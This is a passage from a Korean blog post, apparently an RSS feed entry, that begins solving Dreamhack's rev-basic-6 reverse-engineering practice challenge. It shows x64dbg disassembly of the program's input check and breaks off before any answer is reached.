&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681169&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D4C24&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268116&lt;/span>&lt;span class="n">E&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="n">DFEFFFF&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F782681000&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681173&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">85&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">test&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681175&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">74&lt;/span> &lt;span class="mf">0F&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">je&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F782681186&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681177&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">AA100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">782682228&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782682228&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="s">&amp;#34;Correct&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268117&lt;/span>&lt;span class="n">E&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">FF15&lt;/span> &lt;span class="mo">04100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="o">&amp;lt;&amp;amp;&lt;/span>&lt;span class="n">puts&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681184&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">EB&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">jmp&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F782681193&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681186&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">A3100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">782682230&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782682230&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="s">&amp;#34;Wrong&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268118&lt;/span>&lt;span class="n">D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">FF15&lt;/span> &lt;span class="n">F50F0000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="o">&amp;lt;&amp;amp;&lt;/span>&lt;span class="n">puts&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681193&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681195&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">B8C24&lt;/span> &lt;span class="mi">20010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">120&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268119&lt;/span>&lt;span class="n">D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="n">CC&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rsp&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">7826811&lt;/span>&lt;span class="n">A0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="n">B010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F782681300&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">7826811&lt;/span>&lt;span class="n">A5&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="n">C4&lt;/span> &lt;span class="mi">30010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">add&lt;/span> &lt;span class="n">rsp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">130&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">7826811&lt;/span>&lt;span class="n">AC&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">5F&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">pop&lt;/span> &lt;span class="n">rdi&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="s">&amp;#34;ALLUSERSPROFILE=C:&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s">ProgramData&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">7826811&lt;/span>&lt;span class="n">AD&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">C3&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">ret&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>여기서 정답의 로직을 분석하는 부분은 00007FF78268116E이다.&lt;/p></description><content:encoded><![CDATA[<p>이번에는 드림핵 리버싱 베이직 6번 문제를 풀어보자.</p>
<p>이전에 올렸던 rev-basic-5 문제와 동일하게 바이너리를 실행 시키면</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">input : 
</span></span></code></pre></div><p>이라는 문자열과 함께 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다.</p>
<p>우선 동일하게 x64 디버거를 이용해 어셈블리를 분석해보자.</p>
<p>해당 프로그램 main의 어셈블리는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681120</span> <span class="o">|</span> <span class="mi">40</span><span class="o">:</span><span class="mi">57</span>                    <span class="o">|</span> <span class="n">push</span> <span class="n">rdi</span>                                <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="o">&amp;</span><span class="s">&#34;ALLUSERSPROFILE=C:</span><span class="se">\\</span><span class="s">ProgramData&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681122</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">EC</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681129</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B05</span> <span class="n">F81F0000</span>         <span class="o">|</span> <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782683128</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681130</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">C4</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681133</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">898424</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">],</span><span class="n">rax</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268113</span><span class="n">B</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681140</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">BF8</span>                  <span class="o">|</span> <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>                             <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="o">&amp;</span><span class="s">&#34;ALLUSERSPROFILE=C:</span><span class="se">\\</span><span class="s">ProgramData&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681143</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681145</span> <span class="o">|</span> <span class="n">B9</span> <span class="mo">00010000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="mi">100</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268114</span><span class="n">A</span> <span class="o">|</span> <span class="nl">F3</span><span class="p">:</span><span class="n">AA</span>                    <span class="o">|</span> <span class="n">rep</span> <span class="n">stosb</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268114</span><span class="n">C</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">BD100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782682210</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">782682210</span><span class="o">:</span><span class="s">&#34;Input : &#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681153</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">58000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F7826811B0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681158</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D5424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268115</span><span class="n">D</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">B8100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">78268221</span><span class="n">C</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">78268221</span><span class="nl">C</span><span class="p">:</span><span class="s">&#34;%256s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681164</span> <span class="o">|</span> <span class="n">E8</span> <span class="n">A7000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681210</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681169</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268116</span><span class="n">E</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">8</span><span class="n">DFEFFFF</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681000</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681173</span> <span class="o">|</span> <span class="mi">85</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">test</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681175</span> <span class="o">|</span> <span class="mi">74</span> <span class="mf">0F</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681186</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681177</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">AA100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782682228</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">782682228</span><span class="o">:</span><span class="s">&#34;Correct&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268117</span><span class="n">E</span> <span class="o">|</span> <span class="n">FF15</span> <span class="mo">04100000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681184</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">0</span><span class="n">D</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681193</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681186</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">A3100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782682230</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">782682230</span><span class="o">:</span><span class="s">&#34;Wrong&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268118</span><span class="n">D</span> <span class="o">|</span> <span class="n">FF15</span> <span class="n">F50F0000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681193</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681195</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B8C24</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">]</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268119</span><span class="n">D</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">CC</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rcx</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7826811</span><span class="n">A0</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">5</span><span class="n">B010000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681300</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7826811</span><span class="n">A5</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">C4</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7826811</span><span class="n">AC</span> <span class="o">|</span> <span class="mf">5F</span>                       <span class="o">|</span> <span class="n">pop</span> <span class="n">rdi</span>                                 <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="o">&amp;</span><span class="s">&#34;ALLUSERSPROFILE=C:</span><span class="se">\\</span><span class="s">ProgramData&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7826811</span><span class="n">AD</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>여기서 정답의 로직을 분석하는 부분은 00007FF78268116E이다.</p>
<p>테스트로 AAAAA를 입력한 뒤, 위 주소부분의 어셈블리를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681000</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">894</span><span class="n">C24</span> <span class="mi">08</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span><span class="n">rcx</span>            <span class="o">|</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span><span class="o">:</span><span class="s">&#34;%256s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681005</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">EC</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681009</span> <span class="o">|</span> <span class="n">C70424</span> <span class="mo">00000000</span>          <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="mi">0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681010</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">08</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F78268101A</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681012</span> <span class="o">|</span> <span class="mi">8</span><span class="n">B0424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681015</span> <span class="o">|</span> <span class="n">FFC0</span>                     <span class="o">|</span> <span class="n">inc</span> <span class="n">eax</span>                                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681017</span> <span class="o">|</span> <span class="mi">890424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="n">eax</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268101</span><span class="n">A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630424</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268101</span><span class="n">E</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mf">83F</span><span class="mi">8</span> <span class="mi">12</span>               <span class="o">|</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span><span class="mi">12</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681022</span> <span class="o">|</span> <span class="mi">73</span> <span class="mi">31</span>                    <span class="o">|</span> <span class="n">jae</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681055</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681024</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630424</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681028</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268102</span><span class="n">D</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60401</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="p">]</span>         <span class="o">|</span> <span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="o">*</span><span class="mi">1</span><span class="o">:</span><span class="s">&#34;AAAA&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681031</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">E81F0000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782683020</span><span class="p">]</span>     <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;AAAAA&#34;</span>
